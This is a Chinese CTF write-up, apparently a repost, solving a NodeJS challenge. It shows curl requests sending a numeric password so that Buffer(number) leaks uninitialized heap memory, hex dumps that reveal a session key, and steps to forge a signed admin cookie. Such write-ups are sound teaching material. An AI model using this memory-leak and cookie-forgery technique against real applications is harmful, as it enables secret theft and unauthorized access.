2

NodeJS Hacking 挑战

 3 years ago
source link: https://xiaix.me/nodejs-hacking-tiao-zhan/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

NodeJS Hacking 挑战

发表于 2017-03-19   |   标签 Web安全, CTF   |  

原文链接:https://www.smrrd.de/nodejs-hacking-challenge-writeup.html

先前看到NodeJS曾爆出一个很有趣的问题,想想好像大家都对NodeJS漏洞没什么利用经验,那么就让我来利用这一有趣的问题创建一个挑战吧。

挑战的源码可以从这里下载到,搭建也非常简单,只需要执行以下几步:

$ cd nodejs_chall
$ node -v
v4.2.4  
$ npm -v
2.14.12  
$ npm install # 安装依赖
# 考虑国内npm速度较慢,推荐使用如下命令
# npm install --registry=https://registry.npm.taobao.org
$ npm start # start server on http://127.0.0.1:3000

环境搭建好后,访问网站/admin页面看到需要输入密码登录,那么挑战的目标就是得到secret_password并成功登录。

好了,如果你非常感兴趣想自己试试,那么就先不要往下看了,动手吧~

当我们初次访问网站,引入眼帘的是一个精美的登录页面,这里我开了一个小玩笑,说像C这种特别容易出现内存泄漏问题的语言,是不适合小鲜肉编写的,所以选择像JavaScript这种“内存安全”的语言才是明智之举。但这也暗示了挑战的问题所在,即使是JavaScript这类高级语言也未必像你想象的那般安全。

/admin页面上有一个大大的密码输入框,而当我们随意输入密码后,就会收到密码错误的提示。

此时,打开浏览器的控制台可以看到,我们发送了一个POST请求给/login,其中包含JOSN格式的密码信息{"password": "test"}

另一件值得注意的事情是两个Cookie,session=eyJhZG1pbiI6Im5vIn0=session.sig=wwg0b0z2AQJ2GCyXHt53ONkIXRs,而当对session进行base64解码后,会发现内容实际为{"admin":"no"}。此时,可能有人会说那我们直接把内容改成{"admin":"yes"}就好啦,但这里Cookie是经过HMAC保护的,但你修改后服务器会直接丢弃的。

2 代码审计

现在让我们来看看代码吧,先看app.js文件,从中我们得知App使用了express框架var express = require('express');,不过这个与本挑战没什么太大关系。

然后在来看看config.js文件,这里面包含有secret_passwordsession_keys,当然这些密钥会用于生成HMAC保护cookies的。

随后我们来看看routes/index.js中是如何处理我们请求的:

router.get('/', function(req, res, next) {  
    res.render('index', { title: 'index', admin: req.session.admin });
});

router.get('/admin', function(req, res, next) {  
    res.render('admin', { title: 'Admin area', admin: req.session.admin, flag: config.secret_password });
});

router.get('/logout', function(req, res, next) {  
    req.session = null;
    res.json({'status': 'ok'});
});

router.post('/login', function(req, res, next) {  
    if(req.body.password !== undefined) {
        var password = new Buffer(req.body.password);
        if(password.toString('base64') == config.secret_password) {
            req.session.admin = 'yes';
            res.json({'status': 'ok' });
        } else {
            res.json({'status': 'error', 'error': 'password wrong: '+password.toString() });
        }
    } else {
        res.json({'status': 'error', 'error': 'password missing' });
    }
});

这里我们可以看到secret_password是作为admin模块中的flag,继续跟进查看views/admin.jade中的模板代码,就会发现如果得到secret_password就可以以admin登录了。

if admin === 'yes'  
    p You are admin #{flag}
else  
    ....

上面唯一有意思的就是/login,Login会检查password是否有设置,随后会新建一个Buffer()存放password,并将Buffer转换成base64字符与secret_password进行比对,如果相等,则会将session设置为admin = 'yes'

看到这里,很多人应该会立马开始尝试跟踪看不受信任的输入是如何被处理的,最终都会跟踪到Buffer类。而Buffer()类会基于不同的参数返回不同的值,例如如下测试:

> Buffer('AAAA')
<Buffer 41 41 41 41>  
> Buffer(4)
<Buffer 90 4e 80 01>  
> Buffer(4)
<Buffer 50 cc 02 02>  
> Buffer(4)
<Buffer 0a 00 00 00>  

从上面测试中可以发现,当传递给Buffer一个字符串时,它会创建一个含有字符串的缓存,但当传递的是一个数字时,Nodejs会分配一个较大的缓冲区,而且还不是简单的<Buffer 00 00 00 00>,看起来还包含其他的值。这是因为Buffer(number)并不会初始化内存,从而导致泄露以前堆栈中分配的数据。

这个问题已经被提交,在NodeJS issue #4660里可以看到问题的描述和可能的修复方案。

因为挑战中的使用了JSON中间件(app.use(bodyParser.json())),所以当我们实际发生的POST数据包含数字时,那么就会收到一些从堆栈泄露的数据:

curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{\"password\": 100}" | hexdump -C  
00000000  7b 22 73 74 61 74 75 73  22 3a 22 65 72 72 6f 72  |{"status":"error|  
00000010  22 2c 22 65 72 72 6f 72  22 3a 22 70 61 73 73 77  |","error":"passw|  
00000020  6f 72 64 20 77 72 6f 6e  67 3a 20 69 73 41 72 72  |ord wrong: isArr|  
00000030  61 79 2f ef bf bd 71 ef  bf bd 5c 75 30 30 30 30  |ay/...q...\u0000|  
00000040  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |\u0000\u0000\u00|  
00000050  30 30 5c 75 30 30 30 30  5c 75 30 30 31 30 ef bf  |00\u0000\u0010..|  
00000060  bd 43 5c 75 30 30 30 33  5c 75 30 30 30 30 5c 75  |.C\u0003\u0000\u|  
00000070  30 30 30 30 5c 75 30 30  30 30 5c 75 30 30 30 30  |0000\u0000\u0000|  
00000080  5c 75 30 30 30 31 3c 2f  70 72 65 3e 3c ef bf bd  |\u0001</pre><...|  
00000090  7f 43 5c 75 30 30 30 33  5c 75 30 30 30 30 5c 75  |.C\u0003\u0000\u|  
000000a0  30 30 30 30 5c 75 30 30  30 30 5c 75 30 30 30 30  |0000\u0000\u0000|  
000000b0  5c 75 30 30 30 37 5c 75  30 30 30 30 5c 75 30 30  |\u0007\u0000\u00|  
000000c0  30 30 5c 75 30 30 30 30  2f 68 74 6d 5c 75 30 30  |00\u0000/htm\u00|  
000000d0  30 32 5c 75 30 30 31 32  d0 a3 5c 75 30 30 30 30  |02\u0012..\u0000|  
000000e0  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |\u0000\u0000\u00|  
000000f0  30 30 5c 75 30 30 30 30  5c 75 30 30 30 30 5c 75  |00\u0000\u0000\u|  
00000100  30 30 30 30 5c 75 30 30  30 30 76 65 5c 75 30 30  |0000\u0000ve\u00|  
00000110  30 30 5c 75 30 30 30 30  ef bf bd 7f 43 5c 75 30  |00\u0000....C\u0|  
00000120  30 30 33 5c 75 30 30 30  30 5c 75 30 30 30 30 5c  |003\u0000\u0000\|  
00000130  75 30 30 30 30 5c 75 30  30 30 30 5c 75 30 30 30  |u0000\u0000\u000|  
00000140  30 5c 75 30 30 30 30 5c  75 30 30 30 30 5c 75 30  |0\u0000\u0000\u0|  
00000150  30 30 30 5c 75 30 30 30  30 5c 75 30 30 30 30 5c  |000\u0000\u0000\|  
00000160  75 30 30 30 30 5c 75 30  30 30 30 ef bf bd ef bf  |u0000\u0000.....|  
00000170  bd ef bf bd 5c 75 30 30  30 30 5c 75 30 30 30 30  |....\u0000\u0000|  
00000180  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |\u0000\u0000\u00|  
00000190  30 30 3a 5c 75 30 30 30  36 5c 75 30 30 30 30 5c  |00:\u0006\u0000\|  
000001a0  75 30 30 30 30 ef bf bd  5c 75 30 30 30 30 5c 75  |u0000...\u0000\u|  
000001b0  30 30 30 30 5c 75 30 30  30 30 50 32 31 5c 75 30  |0000\u0000P21\u0|  
000001c0  30 30 33 22 7d                                    |003"}|  

当我们重复多次,就可能发现一个泄露的session_keys

curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{\"password\": 100}" | hexdump -C  
00000000  7b 22 73 74 61 74 75 73  22 3a 22 65 72 72 6f 72  |{"status":"error|  
00000010  22 2c 22 65 72 72 6f 72  22 3a 22 70 61 73 73 77  |","error":"passw|  
00000020  6f 72 64 20 77 72 6f 6e  67 3a 20 41 4c 4c 45 53  |ord wrong: ALLES|  
00000030  7b 73 65 73 73 69 6f 6e  5f 6b 65 79 5f 4b 2e 47  |{session_key_K.G|  
00000040  4b 51 65 52 30 4a 53 32  62 39 4f 68 77 53 48 23  |KQeR0JS2b9OhwSH#|  
00000050  55 64 4d 68 4c 34 45 64  64 78 65 44 3f 7d 72 64  |UdMhL4EddxeD?}rd|  
00000060  41 70 70 7b 5c 22 61 64  6d 69 6e 5c 22 3a 5c 22  |App{\"admin\":\"|  
00000070  6e 6f 5c 22 7d 3e 69 3c  21 44 4f 43 54 59 50 45  |no\"}>i<!DOCTYPE|  
00000080  20 68 74 6d 6c 3e 3c 68  74 6d 6c 20 6e 67 2d 61  | html><html ng-a|  
00000090  70 70 3d 22 7d                                    |pp="}|  
00000095  
curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{\"password\": 100}" | grep ALLES  
{"status":"error","error":"password wrong: ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}><lin{\"admin\":\"no\"}eet\" href=\"/stylesheets/style."}

上面泄露的session key为ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}

那么现在你可能会有疑问,为什么session key会被泄露?那为什么密码不会写泄露?对于后者我只有一些假设,那就是密码存储分配的内存和Buffer()分配的内存不在一起。

NodeJS应用使用var session = require('cookie-session'),这会依赖cookieskeygrip,而keygrip进行HMAC签名又依赖node核心crpyto包,而crpyto进行加密的时候又使用到了Buffer,这就是为什么会话密钥会从内存中泄露出去的原因了。

有了session key我们就可以创建一个具备有效签名的{"admin": "yes"}cookie了,从而完成成功登录。创建的过程可以依赖程序的源码,修改config.js文件中的session_key,并设置app.js文件中的req.session.admin = 'yes'

以上操作可以在自己本地创建的应用中设置,随后使用得到cookie发送给挑战服务器:session=eyJhZG1pbiI6InllcyJ9session.sig=oom6DtiV8CPOxVRSW3IFtE909As

现在,我们就可以进行解码Base64,得到最终的flag为ALLES{use_javascript_they_said.its_a_safe_language_they_said}


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK